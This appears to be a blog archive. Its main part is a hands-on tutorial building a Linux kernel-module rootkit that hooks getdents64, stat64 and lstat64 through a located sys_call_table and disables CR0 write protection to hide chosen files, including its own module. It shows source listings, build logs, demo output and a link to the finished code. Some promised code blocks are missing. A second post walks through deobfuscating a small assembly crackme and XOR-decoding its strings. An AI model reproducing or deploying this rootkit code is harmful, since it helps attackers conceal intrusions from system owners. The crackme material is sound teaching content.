In this post I am going to be putting together all of the knowledge we have gained in the previous posts and improving on the last rootkit in a few different ways.
I will fix the issue that I explained the last LKM had (being able to query the file directly using ls [filename]), while making it more portable and giving it the ability to hide multiple files but I will start with splitting the LKM into multiple files to make it easier to manage.
The code for this rootkit will be in a link at the bottom of the post in .tgz format.
Splitting The LKM
Having the LKM split across multiple files makes it easier to manage, especially as the module gets more and more complex.
#include<linux/module.h>#include<linux/init.h>#include<linux/unistd.h>#include<linux/miscdevice.h>MODULE_AUTHOR("0xe7, 0x1e");MODULE_DESCRIPTION("Hide files on the system");MODULE_LICENSE("GPL");void**sys_call_table;staticint__inithidefiles_init(void){sys_call_table=(void*)0xc1454100;original_getdents64=sys_call_table[__NR_getdents64];set_page_rw(sys_call_table);sys_call_table[__NR_getdents64]=sys_getdents64_hook;set_page_ro(sys_call_table);return0;}staticvoid__exithidefiles_exit(void){set_page_rw(sys_call_table);sys_call_table[__NR_getdents64]=original_getdents64;set_page_ro(sys_call_table);return;}module_init(hidefiles_init);module_exit(hidefiles_exit);
I've made a couple of changes here, like I've set the sys_call_table page to read only after I've made the change and changing the name of the init and exit functions, but other than that it is copy and pasted from the last LKM.
I couldn't get it to work by just running make so I had to run the full command myself:
1 2 3 4 5 6 7 8 9101112131415161718192021222324
root@dev:~/lkms/hidefiles# make -C /lib/modules/$(uname -r)/build M=$PWD modulesmake: Entering directory `/usr/src/linux-headers-3.14-kali1-686-pae' CC [M] /root/lkms/hidefiles/main.o/root/lkms/hidefiles/main.c: In function ‘hidefiles_init’:/root/lkms/hidefiles/main.c:21:9: warning: passing argument 1 of ‘set_page_rw’ makes integer from pointer without a cast [enabled by default]In file included from /root/lkms/hidefiles/main.c:7:0:/root/lkms/hidefiles/functs.h:4:5: note: expected ‘long unsigned int’ but argument is of type ‘void **’/root/lkms/hidefiles/main.c:23:2: warning: passing argument 1 of ‘set_page_ro’ makes integer from pointer without a cast [enabled by default]In file included from /root/lkms/hidefiles/main.c:7:0:/root/lkms/hidefiles/functs.h:5:5: note: expected ‘long unsigned int’ but argument is of type ‘void **’/root/lkms/hidefiles/main.c: In function ‘hidefiles_exit’:/root/lkms/hidefiles/main.c:29:2: warning: passing argument 1 of ‘set_page_rw’ makes integer from pointer without a cast [enabled by default]In file included from /root/lkms/hidefiles/main.c:7:0:/root/lkms/hidefiles/functs.h:4:5: note: expected ‘long unsigned int’ but argument is of type ‘void **’/root/lkms/hidefiles/main.c:31:9: warning: passing argument 1 of ‘set_page_ro’ makes integer from pointer without a cast [enabled by default]In file included from /root/lkms/hidefiles/main.c:7:0:/root/lkms/hidefiles/functs.h:5:5: note: expected ‘long unsigned int’ but argument is of type ‘void **’ CC [M] /root/lkms/hidefiles/functs.o LD [M] /root/lkms/hidefiles/hidefiles.o Building modules, stage 2. MODPOST 1 modules CC /root/lkms/hidefiles/hidefiles.mod.o LD [M] /root/lkms/hidefiles/hidefiles.komake: Leaving directory `/usr/src/linux-headers-3.14-kali1-686-pae'
We can ignore these warnings for the moment, we are going to replace these functions anyway.
root@dev:~/lkms/hidefiles# ls -ltotal 460-rw-r--r-- 1 root root 344 Oct 31 14:11 functs.c-rw-r--r-- 1 root root 113 Oct 31 14:11 functs.h-rw-r--r-- 1 root root 62328 Oct 31 14:11 functs.o-rw-r--r-- 1 root root 152670 Oct 31 14:11 hidefiles.ko-rw-r--r-- 1 root root 810 Oct 31 14:11 hidefiles.mod.c-rw-r--r-- 1 root root 42660 Oct 31 14:11 hidefiles.mod.o-rw-r--r-- 1 root root 111024 Oct 31 14:11 hidefiles.o-rw-r--r-- 1 root root 825 Oct 31 14:04 main.c-rw-r--r-- 1 root root 33312 Oct 31 14:11 main.o-rw-r--r-- 1 root root 64 Oct 31 14:01 Makefile-rw-r--r-- 1 root root 41 Oct 31 14:11 modules.order-rw-r--r-- 1 root root 0 Oct 31 14:11 Module.symvers-rw-r--r-- 1 root root 968 Oct 31 14:00 syscalls.c-rw-r--r-- 1 root root 352 Oct 31 14:07 syscalls.h-rw-r--r-- 1 root root 18048 Oct 31 14:07 syscalls.oroot@dev:~/lkms/hidefiles# touch thisisatestfile.txtroot@dev:~/lkms/hidefiles# ls -ltotal 460-rw-r--r-- 1 root root 344 Oct 31 14:11 functs.c-rw-r--r-- 1 root root 113 Oct 31 14:11 functs.h-rw-r--r-- 1 root root 62328 Oct 31 14:11 functs.o-rw-r--r-- 1 root root 152670 Oct 31 14:11 hidefiles.ko-rw-r--r-- 1 root root 810 Oct 31 14:11 hidefiles.mod.c-rw-r--r-- 1 root root 42660 Oct 31 14:11 hidefiles.mod.o-rw-r--r-- 1 root root 111024 Oct 31 14:11 hidefiles.o-rw-r--r-- 1 root root 825 Oct 31 14:04 main.c-rw-r--r-- 1 root root 33312 Oct 31 14:11 main.o-rw-r--r-- 1 root root 64 Oct 31 14:01 Makefile-rw-r--r-- 1 root root 41 Oct 31 14:11 modules.order-rw-r--r-- 1 root root 0 Oct 31 14:11 Module.symvers-rw-r--r-- 1 root root 968 Oct 31 14:00 syscalls.c-rw-r--r-- 1 root root 352 Oct 31 14:07 syscalls.h-rw-r--r-- 1 root root 18048 Oct 31 14:07 syscalls.o-rw-r--r-- 1 root root 0 Oct 31 14:18 thisisatestfile.txtroot@dev:~/lkms/hidefiles# insmod ./hidefiles.koroot@dev:~/lkms/hidefiles# ls -ltotal 460-rw-r--r-- 1 root root 344 Oct 31 14:11 functs.c-rw-r--r-- 1 root root 113 Oct 31 14:11 functs.h-rw-r--r-- 1 root root 62328 Oct 31 14:11 functs.o-rw-r--r-- 1 root root 152670 Oct 31 14:11 hidefiles.ko-rw-r--r-- 1 root root 810 Oct 31 14:11 hidefiles.mod.c-rw-r--r-- 1 root root 42660 Oct 31 14:11 hidefiles.mod.o-rw-r--r-- 1 root root 111024 Oct 31 14:11 hidefiles.o-rw-r--r-- 1 root root 825 Oct 31 14:04 main.c-rw-r--r-- 1 root root 33312 Oct 31 14:11 main.o-rw-r--r-- 1 root root 64 Oct 31 14:01 Makefile-rw-r--r-- 1 root root 41 Oct 31 14:11 modules.order-rw-r--r-- 1 root root 0 Oct 31 14:11 Module.symvers-rw-r--r-- 1 root root 968 Oct 31 14:00 syscalls.c-rw-r--r-- 1 root root 352 Oct 31 14:07 syscalls.h-rw-r--r-- 1 root root 18048 Oct 31 14:07 syscalls.oroot@dev:~/lkms/hidefiles# rmmod hidefilesroot@dev:~/lkms/hidefiles# ls -ltotal 460-rw-r--r-- 1 root root 344 Oct 31 14:11 functs.c-rw-r--r-- 1 root root 113 Oct 31 14:11 functs.h-rw-r--r-- 1 root root 62328 Oct 31 14:11 functs.o-rw-r--r-- 1 root root 152670 Oct 31 14:11 hidefiles.ko-rw-r--r-- 1 root root 810 Oct 31 14:11 hidefiles.mod.c-rw-r--r-- 1 root root 42660 Oct 31 14:11 hidefiles.mod.o-rw-r--r-- 1 root root 111024 Oct 31 14:11 hidefiles.o-rw-r--r-- 1 root root 825 Oct 31 14:04 main.c-rw-r--r-- 1 root root 33312 Oct 31 14:11 main.o-rw-r--r-- 1 root root 64 Oct 31 14:01 Makefile-rw-r--r-- 1 root root 41 Oct 31 14:11 modules.order-rw-r--r-- 1 root root 0 Oct 31 14:11 Module.symvers-rw-r--r-- 1 root root 968 Oct 31 14:00 syscalls.c-rw-r--r-- 1 root root 352 Oct 31 14:07 syscalls.h-rw-r--r-- 1 root root 18048 Oct 31 14:07 syscalls.o-rw-r--r-- 1 root root 0 Oct 31 14:18 thisisatestfile.txt
So it seems to work nicely, now we can concentrate on extending it.
Automagically Finding sys_call_table
A brilliant writeup of how to find the sys_call_table, amungst other things, on x86 Linux is here. I highly recommend reading that post.
We are going to use the technique under section 3.1, titled How to get sys_call_table[] without LKM.
You can use a slight vairation of this technique on each architecture, just search Google a bit and you should be able to find something if you can't work it out from this description.
Firstly we need to read the Interrupt Descriptor Table Register (IDTR) and get the address of the base of the Interrupt Descriptor Table (IDT).
Offset 0x80 from the IDT base address is the address of a function called system_call, this function uses call to make system calls using the sys_call_table.
Once we have the base address of the system_call function we need to search through its code for 3 bytes ("\xff\x14\x85").
The memmem function just searches through code for a particular set of bytes and returns a pointer to it if found or NULL if not. Its implemented in libc but we will have to implement it ourselves in our LKM.
We also need to remember to include the 2 structs idtr and idt.
Here's the code for all of this which we can put into functs.c:
We also need to add the following prototype to functs.h:
1
unsignedlong*find_sys_call_table(void);
Lastly we need to edit main.c so that we get the address of sys_call_table using this method, we just replace the line that starts sys_call_table = with:
Improving The Method Of Writing To Read-Only Memory
So far we have manually changed the page table entry to change the permissions on the specific page that we want to write to read-write.
As we are running with the same privileges as the kernel we can do this in an easier way and ensure that any changes to this mechanism in the future doesn't stop our ability to write to this memory.
Running in kernel mode we have the ability to change the CR0 register.
The 16th bit of the CR0 register is responsible for enforcing whether or not the CPU can write to memory marked read-only.
With this is mind we can rewrite the functions that we were using in functs.c for this:
Lastly we need to edit main.c, remember these new functions do not require an argument.
Multi-File Support
To support hiding multiple files we need to implement a character device to communicate with the rootkit (we could use a network connection but we'll take that up later) and we need a method of storing the data.
For storing the data we will use a linked list, the kernel has the ability to manipulate linked lists but I will create my own functions for doing this as a programming exercise (later we will investigate how to use the features already in the kernel).
Linked List
First let's create the linked list and the functions for adding and removing items:
The structure of each element is defined at the top (lines 1 - 4), its pretty simple, just a basic singly linked list.
2 functions are then defined addfile and remfile, which are pretty self-explainitory, 1 thing to note here is that the vmalloc function is being used to allocate the memory, which allocates a contiguous address range of virtual memory, this obviously means that vfree has to be used to free the memory after.
Both of these functions take 1 argument, a string, and add or remove that string to the list depending on which function is called.
Its best to create a function that empties the list:
This functions takes a string as an argument and iterates through the list checking, first the length, and then the whole string, against every entry in the list, if it finds a match it returns a 1, otherwise it returns a 0.
Initially I developed this linked list in a normal C application and just improved upon it and kernelfied it. :-) Here is my original application:
Clearly this application is using more primitive versions of the addfile and remfile functions above. Its also using the usermode's malloc and free instead of vmalloc and vfree for obvious reasons.
I only included this to show how I've developed these functions in usermode and then converted it to kernelmode.
Anyway, the kernel functions above (addfile, remfile, emptylist and lookupfilename) as well as the struct declarations and definition should go into the file list.c.
#include "list.h" should be put at the top and the file list.h should be created with the following:
We need to include the linux/vmalloc.h header file for the vmalloc and vfree functions.
syscalls.c needs to be changed, list.h needs to be included, the FILE_NAME definition should be removed and the strncmp line should be changed to use lookupfilename instead, so it should end up like the following:
Because we want to hide some files when the LKM is loaded and also empty the list when the LKM is unloaded we need to include the list.h header file and make the relevent calls to addfile and emptylist in main.c, so our main.c should end up like this:
#include<linux/module.h>#include<linux/init.h>#include<linux/unistd.h>#include<linux/miscdevice.h>#include"syscalls.h"#include"functs.h"#include"list.h"MODULE_AUTHOR("0xe7, 0x1e");MODULE_DESCRIPTION("Hide files on the system");MODULE_LICENSE("GPL");void**sys_call_table;staticint__inithidefiles_init(void){sys_call_table=find_sys_call_table();if(sys_call_table==NULL)return1;original_getdents64=sys_call_table[__NR_getdents64];disable_write_protection();sys_call_table[__NR_getdents64]=sys_getdents64_hook;enable_write_protection();addfile("thisisatestfile.txt");return0;}staticvoid__exithidefiles_exit(void){disable_write_protection();sys_call_table[__NR_getdents64]=original_getdents64;enable_write_protection();emptylist();return;}module_init(hidefiles_init);module_exit(hidefiles_exit);
Lastly we need to edit the Makefile to include list.o, so it should end up like this:
root@dev:~/lkms/hidefiles# make -C /lib/modules/$(uname -r)/build M=$PWD modulesmake: Entering directory `/usr/src/linux-headers-3.14-kali1-686-pae' CC [M] /root/lkms/hidefiles/main.o/root/lkms/hidefiles/main.c: In function ‘hidefiles_init’:/root/lkms/hidefiles/main.c:18:17: warning: assignment from incompatible pointer type [enabled by default] CC [M] /root/lkms/hidefiles/syscalls.o CC [M] /root/lkms/hidefiles/list.o LD [M] /root/lkms/hidefiles/hidefiles.o Building modules, stage 2. MODPOST 1 modules CC /root/lkms/hidefiles/hidefiles.mod.o LD [M] /root/lkms/hidefiles/hidefiles.komake: Leaving directory `/usr/src/linux-headers-3.14-kali1-686-pae'root@dev:~/lkms/hidefiles# lsfuncts.c functs.o hidefiles.mod.c hidefiles.o list.h main.c Makefile Module.symvers syscalls.h thisisatestfile.txtfuncts.h hidefiles.ko hidefiles.mod.o list.c list.o main.o modules.order syscalls.c syscalls.oroot@dev:~/lkms/hidefiles# insmod ./hidefiles.koroot@dev:~/lkms/hidefiles# lsfuncts.c functs.o hidefiles.mod.c hidefiles.o list.h main.c Makefile Module.symvers syscalls.hfuncts.h hidefiles.ko hidefiles.mod.o list.c list.o main.o modules.order syscalls.c syscalls.oroot@dev:~/lkms/hidefiles# rmmod hidefilesroot@dev:~/lkms/hidefiles# lsfuncts.c functs.o hidefiles.mod.c hidefiles.o list.h main.c Makefile Module.symvers syscalls.h thisisatestfile.txtfuncts.h hidefiles.ko hidefiles.mod.o list.c list.o main.o modules.order syscalls.c syscalls.o
So, as you can clearly see, our LKM automatically hides files on initialization and now should have the capability to hide multiple files.
Character Device
We now need the ability to communicate with the LKM to dynamically hide and unhide files. The only way we've learned how to do this so far is by using a character device.
This character device will be simpler than our previous one because we only need the write operation but you can implement read for feedback if you want.
Here I'm setting the maximum size to 512 but you can set it to what you wish.
I also return the number of bytes written here so that it doesn't break some applications that try to write to it (python for example).
The first character of the input is being used as the operation (A or a for adding a file and R or r for removing a file) and the actual filename starts after the second character in the input.
I've also fixed the buffer overflow that was in the last character device.
Now we need to include cdev.h in main.c, by adding the line #include "cdev.h" at the top, initialize the device on load and remove the device on unload, so our main.c should end up like this:
#include<linux/module.h>#include<linux/init.h>#include<linux/unistd.h>#include<linux/miscdevice.h>#include"syscalls.h"#include"functs.h"#include"list.h"#include"cdev.h"MODULE_AUTHOR("0xe7, 0x1e");MODULE_DESCRIPTION("Hide files on the system");MODULE_LICENSE("GPL");void**sys_call_table;staticint__inithidefiles_init(void){sys_call_table=find_sys_call_table();if(sys_call_table==NULL)return1;original_getdents64=sys_call_table[__NR_getdents64];disable_write_protection();sys_call_table[__NR_getdents64]=sys_getdents64_hook;enable_write_protection();misc_register(&dev_misc_device);addfile("thisisatestfile.txt");return0;}staticvoid__exithidefiles_exit(void){disable_write_protection();sys_call_table[__NR_getdents64]=original_getdents64;enable_write_protection();misc_deregister(&dev_misc_device);emptylist();return;}module_init(hidefiles_init);module_exit(hidefiles_exit);
Now let's hide the files even when they are queried directly.
To figure out how to do this we will use the same method as we did when figuring out how to hide files to being with, by looking at the system calls that are being made and hooking them.
We will start by determining the system calls responsible for this:
I've grepped for the filename because the system call must be querying the filename directly, we've found 2 (stat64 and lstat64).
It looks like it returns 0 when its successful, let's see what happens when its unsuccessful:
12345
root@dev:~/lkms/hidefiles# strace ls thisisnotafile.txt 2>&1| grep 'thisisnotafile.txt'execve("/bin/ls", ["ls", "thisisnotafile.txt"], [/* 18 vars */]) = 0stat64("thisisnotafile.txt", 0x8cdf3b8) = -1 ENOENT (No such file or directory)lstat64("thisisnotafile.txt", 0x8cdf3b8) = -1 ENOENT (No such file or directory)write(2, "cannot access thisisnotafile.txt", 32cannot access thisisnotafile.txt) = 32
So they return -ENOENT if the file does not exist.
Another thing to note about this output is that the second argument to both stat64 and lstat64 is a pointer to a buffer which on a success is populated by the system call and obviously left blank in a failure.
We don't care too much about the stat struct because if it matches any of our hidden files we will just return -ENOENT and otherwise we will forward the request to the original system call.
If we wanted to actually manipulate the results that applications got back from these systems calls, we could use this structure to do so.
One more thing to check is what the request looks like when a full path is given:
So the full path is passed to the system call, we will have to deal with this because obviously we only have a list of filenames so we will have to manually extract the actual filename to check against our list.
First let's write the function which extracts the filename from the full path and checks if it is in the list:
#include<linux/module.h>#include<linux/init.h>#include<linux/unistd.h>#include<linux/miscdevice.h>#include"syscalls.h"#include"functs.h"#include"list.h"#include"cdev.h"MODULE_AUTHOR("0xe7, 0x1e");MODULE_DESCRIPTION("Hide files on the system");MODULE_LICENSE("GPL");void**sys_call_table;staticint__inithidefiles_init(void){sys_call_table=find_sys_call_table();if(sys_call_table==NULL)return1;original_getdents64=sys_call_table[__NR_getdents64];original_stat64=sys_call_table[__NR_stat64];original_lstat64=sys_call_table[__NR_lstat64];disable_write_protection();sys_call_table[__NR_getdents64]=sys_getdents64_hook;sys_call_table[__NR_stat64]=stat64_hook;sys_call_table[__NR_lstat64]=lstat64_hook;enable_write_protection();misc_register(&dev_misc_device);addfile("hidefiles");addfile("hidefiles.ko");return0;}staticvoid__exithidefiles_exit(void){disable_write_protection();sys_call_table[__NR_getdents64]=original_getdents64;sys_call_table[__NR_stat64]=original_stat64;sys_call_table[__NR_lstat64]=original_lstat64;enable_write_protection();misc_deregister(&dev_misc_device);emptylist();return;}module_init(hidefiles_init);module_exit(hidefiles_exit);
I've changed the files that it automatically hides when loaded to hidefiles (which is the name of the character device file) and hidefiles.ko (which is the name of the LKM) because this is more useful, in reality these would be named something less descriptive and the other source files wouldn't be there.
You can get the full finished source code for the rootkit here.
Conclusion
We have used a number of techniques here to figure out how to hide files on the system and we have combined all of the knowledge we have gained to far to achieve this.
However, there are still a lot of ways we can improve this LKM, hiding the LKM's existence, and using the network to communicate are just a couple (we will take these up later).
When dealing with kernel code you have to be very careful as you can break the whole system, this is evident with the first character device that we created (just load the device and write 5000 bytes to it, the system will crash instantly).
Happy Kernel Hacking :-)
Further Reading
This article on Kernel Rootkit Tricks by Jürgen Quade
The Phrack article titled Linux on-the-fly kernel patching without LKM by sd and devik
I created this application as a little challenge and some practice at manually obfuscating an application at the assembly level.
I wrote the application in IA32 assembly and then manually obfuscated it using a couple of different methods.
Here I will show how to solve the challenge in 2 different ways.
Lastly I will show how the obfuscation could have been done better so that it would have been a lot more difficult to solve this using a simple static disassembly.
The Challenge
We are given the static disassembly below of a 32bit linux application which says whether or not the author is going to some event:
root@dev:~# nasm -felf32 -o going-or-not-obf-test1 going-or-not-obf-test1.nasm going-or-not-obf-test1.nasm:16: error: comma, colon or end of line expectedgoing-or-not-obf-test1.nasm:29: error: comma, colon or end of line expectedgoing-or-not-obf-test1.nasm:47: error: comma, colon or end of line expectedgoing-or-not-obf-test1.nasm:49: error: comma, colon or end of line expectedgoing-or-not-obf-test1.nasm:50: error: comma, colon or end of line expectedgoing-or-not-obf-test1.nasm:51: error: comma, colon or end of line expectedgoing-or-not-obf-test1.nasm:59: error: comma, colon or end of line expectedgoing-or-not-obf-test1.nasm:63: error: comma, colon or end of line expectedgoing-or-not-obf-test1.nasm:67: error: comma, colon or end of line expectedgoing-or-not-obf-test1.nasm:75: error: comma, colon or end of line expectedgoing-or-not-obf-test1.nasm:78: error: comma, colon or end of line expected
You can see that its all lines that have [SIZE] PTR, we will remove any DWORD PTR and BYTE PTR and for the lines that had BYTE put that before the first operand, so they end up like this:
1 2 3 4 5 6 7 8 9101112
root@dev:~# for i in1629474950515963677578;do cat -n going-or-not-obf-test2.nasm | grep "^[ ]*$i";done 16 mov BYTE al, [esi] 29 jmp [esp] 47 and ebp, gs:[edx] 49 sub ebp, [edx] 50 sub fs:0x654e0d64,esp 51 and ebp, [edx] 59 mov BYTE [esp],cl 63 cmp BYTE [edx],al 67 xor BYTE [edx],bl 75 mov BYTE cl,[esi+edx*1] 78 mov BYTE [esp],cl
Now we try to assemble it again:
123
root@dev:~# nasm -felf32 -o going-or-not-obf-test2 going-or-not-obf-test2.nasm going-or-not-obf-test2.nasm:47: error: invalid combination of opcode and operandsgoing-or-not-obf-test2.nasm:50: error: invalid combination of opcode and operands
So there is still a problem with 2 lines, it looks as if these instructions are invalid, this could possibly be data, what we shall do is replace these 2 instructions with the raw opcodes from the disassembly, so our application ends up like this:
root@dev:~# gdb -q ./going-or-not-obf-test3Reading symbols from /root/going-or-not-obf-test3...(no debugging symbols found)...done.(gdb)rStarting program: /root/going-or-not-obf-test3 Program received signal SIGSEGV, Segmentation fault.0x080480b6 in _start ()(gdb)x/i $eip=> 0x80480b6 <_start+86>: add BYTE PTR [eax],al(gdb)print/x $eax$1= 0x0(gdb)disassemble Dump of assembler code for function _start: 0x08048060 <+0>: mov edx,eax 0x08048062 <+2>: mov edi,0x25 0x08048067 <+7>: jmp 0x80480b6 <_start+86> 0x0804806c <+12>: mov bl,0x32 0x0804806e <+14>: pop esi 0x0804806f <+15>: xor eax,eax 0x08048071 <+17>: je 0x80480dc <_start+124> 0x08048077 <+23>: mov bh,0x6a 0x08048079 <+25>: call 0x804808e <_start+46> 0x0804807e <+30>: mov cl,0x4 0x08048080 <+32>: mov al,BYTE PTR [esi] 0x08048082 <+34>: sub esp,ecx 0x08048084 <+36>: inc ecx 0x08048085 <+37>: xor al,cl 0x08048087 <+39>: xor ecx,ecx 0x08048089 <+41>: cmp eax,0x4 0x0804808c <+44>: je 0x8048099 <_start+57> 0x08048092 <+50>: lea ecx,[ebp-0xf] 0x08048095 <+53>: mov dl,0x10 0x08048097 <+55>: jmp 0x8048097 <_start+55> 0x0804809c <+60>: xor ebx,ebx 0x0804809e <+62>: xor ecx,ecx 0x080480a0 <+64>: mov edx,ecx 0x080480a2 <+66>: jmp DWORD PTR [esp] 0x080480a5 <+69>: jmp 0x804809e <_start+62> 0x080480aa <+74>: lea ecx,[ebp-0x1b] 0x080480ad <+77>: mov dl,0xc 0x080480af <+79>: xor eax,eax 0x080480b1 <+81>: mov al,0x8 0x080480b3 <+83>: mov ebx,0x4 0x080480b8 <+88>: sub eax,ebx 0x080480ba <+90>: sub ebx,eax 0x080480bc <+92>: inc ebx 0x080480bd <+93>: int 0x80 0x080480bf <+95>: xor eax,eax 0x080480c1 <+97>: xor ebx,ebx 0x080480c3 <+99>: inc al 0x080480c5 <+101>: int 0x80---Type <return> to continue, or q <return> to quit--- 0x080480c7 <+103>: call 0x8048069 <_start+9> 0x080480cc <+108>: in eax,dx 0x080480cd <+109>: dec esi 0x080480ce <+110>: and ebp,DWORD PTR gs:[edx] 0x080480d1 <+113>: sub eax,0x3064232b 0x080480d6 <+118>: sub ebp,DWORD PTR [edx] 0x080480d8 <+120>: sub DWORD PTR fs:0x654e0d64,esp 0x080480df <+127>: and ebp,DWORD PTR [edx] 0x080480e1 <+129>: sub eax,0x2964232b 0x080480e6 <+134>: and eax,0x89ee0d64 0x080480eb <+139>: mov ebp,eax 0x080480ed <+141>: mov al,0xc9 0x080480ef <+143>: add eax,edi 0x080480f1 <+145>: jmp 0x8048101 <_start+161> 0x080480f6 <+150>: lea edx,[ebp+0x0] 0x080480f9 <+153>: mov BYTE PTR [esp],cl 0x080480fc <+156>: dec esp 0x080480fd <+157>: push 0x80480e9 0x08048102 <+162>: test edx,edx 0x08048104 <+164>: cmp BYTE PTR [edx],al 0x08048106 <+166>: je 0x8048070 <_start+16> 0x0804810c <+172>: mov ebx,edi 0x0804810e <+174>: add ebx,0x1f 0x08048111 <+177>: xor BYTE PTR [edx],bl 0x08048113 <+179>: dec edx 0x08048114 <+180>: ret 0x08048115 <+181>: xor ebp,ebp 0x08048117 <+183>: xor ecx,ecx 0x08048119 <+185>: xor edx,edx 0x0804811b <+187>: inc edx 0x0804811c <+188>: lea ebp,[esp+ecx*1] 0x0804811f <+191>: mov cl,BYTE PTR [esi+edx*1] 0x08048122 <+194>: cmp cl,al 0x08048124 <+196>: je 0x80480e2 <_start+130> 0x0804812a <+202>: mov BYTE PTR [esp],cl 0x0804812d <+205>: sub esp,0x1 0x08048130 <+208>: inc edx 0x08048131 <+209>: mov esp,esp 0x08048133 <+211>: cmp ecx,0x0---Type <return> to continue, or q <return> to quit--- 0x08048136 <+214>: jg 0x804810b <_start+171> 0x0804813c <+220>: mov ebp,ebp 0x0804813e <+222>: ret End of assembler dump.
So it looks as if we've landed in the middle of an instruction.
Near the start of the application (on line 16 above), it jumps it a certain memory address which is the middle of an instruction. The resulting instruction, as seen on line 9, tries to move a value to the address pointed to by the EAX register.
On line 11 you can see that the value in EAX is 0, which is what caused the segfault, 0 is an invalid memory address.
The reason for this is because the original application jumped to static memory addresses, in the application the memory addresses are different so this will need to be fixed for the application to work.
What we need to do is replace any fixed memory addresses with labels. We can find where in the application the memory addresses are meant to go by looking at the original disassembly.
Once we have done this the resulting application is as follows:
There are a couple of values here (on lines 55, 59 and 60) which look like memory addresses but they aren't valid memory addresses in the original disassembly so they could just be normal values or, as its in the same section as the invalid instructions, part of some data.
With this done we can test this application:
1234
root@dev:~# nasm -felf32 -o going-or-not-obf-test4.o going-or-not-obf-test4.nasmroot@dev:~# ld -o going-or-not-obf-test4 going-or-not-obf-test4.oroot@dev:~# ./going-or-not-obf-test4I am not going!
So we have our answer, the author is not going :-)
Method 2: The Hard Way
Here we will attempt to understand the application and figure out what the application does without building and running it.
Although you would have needed some understanding of IA32 to do the previous method, obviously you will need a better understanding of it to do this.
The first step would be what we have already done. Well, there would be no need for the ability to assemble the application, or even have a valid nasm file but we would need to replace any known addresses with labels because this will make the disassembly significantly easier to read.
For this will we just use the nasm file above (going-or-not-obf-test4.nasm), just because it will make this post a little shorter :-)
What we do now is follow the control flow of the application and simplfy it as we go by replacing more complex sequencies with less complex 1's or even only 1 instruction in some cases and removing any dead instructions (instructions which have no effect on the application at all) altogether.
This process is manual deobfuscation and can be applied to small sections of applications instead of just full applications like the last method.
Let's start with the first instruction mov edx,eax, this looks like it is a junk line (or dead code) mainly because this is the first instruction of the application, if this was just a code segment instead of a full application this code would be more likely to be meaningful.
The second instruction mov edi,0x25, is also very difficult to quickly determine its usefulness to the application, what we need to do here is take note of the value inside the EDI register.
The next 4 instructions do something interesting, if you follow the control flow of the application and line the instructions sequentially you get:
123456
jmpOneOne:callTwoTwo:movbl,0x32popesi
So the 3rd instruction (on line 5) is not related here, and is similar to the previous mov instruction, just make a note that bl contains 0x32.
The other 3 instructions are using a technique used in some shellcode to get the an address in memory when the code might start at a different point in memory.
Its called the JMP-CALL-POP technique and gets the address of the address immediately following the call instruction into the register used in the pop instruction.
Knowing this we can replace the entire code above with:
12
movbl,0x32movesi,One
Let's look at the next 4 instructions:
12345
xoreax,eaxjeThreeThree:moval,0xc9addeax,edi
So here, on line 5, we use the EDI register, we zero EAX, set it to 0xc9 (201), adds it to EDI (0x25 or 37) and stores the result in EAX, this series of instructions are what is called constant unfolding where a series of instructions are done to work out the actual required value instead of just assigning the value to begin with.
We could use the opposite, a common compiler optimization constant folding, to decrease the complexity of this code, so these 4 instructions could be replaced by:
1
moveax,0xee
The next 5 instructions are:
123456
jmpFourFour:xorebp,ebpxorecx,ecxxoredx,edxincedx
This set of instructions just sets EBP and ECX to 0 and EDX to 1. Now its obvious that the instrction at the beginning was dead code because EDX hasn't been used at all and now it has been overwritten.
We can rewrite the application so far in a much more simplfied way:
As you can see, this is much easier to read than the previous code that was jumping about all over the place.
I kept the assignment to EDI (on line 2) there because, although I've removed the need for it in assigning the value of EAX (on line 5), it still might be used in the future.
Also, the assignment to bl (on line 3) still might not be needed but we shall keep it there just incase.
So this first moves a byte at ESI + EDX * 1, which is basically just ESI + EDX, into the cl register. We know at this point the value inside EDX is 1 and that ESI points to some address in the middle of the application, so our loop will start getting data 1 byte after that address.
This byte is them compared with al, which we know is 0xee, and if they are the same execution will jump to Six.
Providing the jump to Six isn't taken, the byte is moved to the top of the stack (which ESP points to), ESP is adjusted accordingly, EDX is incremented by 1 and the loop is rerun.
The mov instruction on line 8 doesn't do anything, dead code which can be removed.
Now we can find all of the data that is being worked on here:
The starting address of this data is 80480bc in the original disassembly, which is 1 byte after the address of the instruction following the call instruction in the jmp-call-pop routine at the start of the application.
It ends with the ee value because this is the point at which the jump to Six is taken.
Also, notice that nowhere here is a 0x0 (or 00) byte, this means that the jg (jump if greater than) instruction on line 10 will always be taken, every byte there is above 0 so the 2 instructions after are dead code and can be removed from the analysis and the jg can be replaced with a jmp.
It is clear that this data, which is sitting in the middle of the application, is being put on the stack for some reason, the lea instruction right before the loop just saved the address pointing to the beginning of the new location of the data on the stack into the EBP register.
We could try to figure out how meaningful this data is now but it would be best to have a look to see what the application does with it first.
Now let's take the jump to Six:
123
leaedx,[ebp+0x0]movBYTE[esp],cldecesp
First it loads the address of the data on the stack, currently in EBP, into EDX.
cl, which is currently 0xee, is put onto the stack and ESP is adjusted accordingly.
This is a very unusual loop, you will only see this type of code when reversing obfuscated code.
It started by pushing its own address to the stack, this allows the ret on line 10 to return to Seven.
The test instruction on line 3 is dead code because all test does is set EFLAGS, but they are immediately overwritten by the cmp instruction that follows.
Lines 4 and 5 again test the value of a byte in the data, this time pointed to by EDX, against 0xee and jump's to Eight when its reached.
The next 2 instructions, lines 6 and 7, move the value from EDI into EBX and add's 0x1f to it. We already know that 0x25 is currently in EDI, so EBX = 0x25 + 0x1f or EBX = 0x44.
The byte in the data is then xor'd with bl (or 0x44) and EDX is decremented.
Clearly this is a simply xor encoding of the data, I wrote a python script a while ago to xor a number of bytes with 1 byte and output both the resulting bytes as ascii characters, and the same but with the characters reversed (due to little endian architectures), here is the script:
1 2 3 4 5 6 7 8 91011121314151617
#!/usr/bin/env pythonimportsysstring=sys.argv[1]xor=sys.argv[2]decoded=""forcinstring:decoded+=chr(ord(c)^ord(xor))print"String as is:"printdecodedprint"\n\nString reversed:"printdecoded[::-1]
This script is very simple, 1 thing to bare in mind though is that, because we are dealing with data outside of the printable ascii range (0x20 - 0x7e), we can just type the characters on the command line.
So we run the script like this:
1 2 3 4 5 6 7 8 910
root@dev:~# python xor-and-ascii.py $(python -c 'print "\x4e\x65\x23\x2a\x2d\x2b\x23\x64\x30\x2b\x2a\x64\x29\x25\x64\x0d\x4e\x65\x23\x2a\x2d\x2b\x23\x64\x29\x25\x64\x0d"')$(python -c 'print "\x44"')String as is:!gniog ton ma I!gniog ma IString reversed:I am going!I am not going!
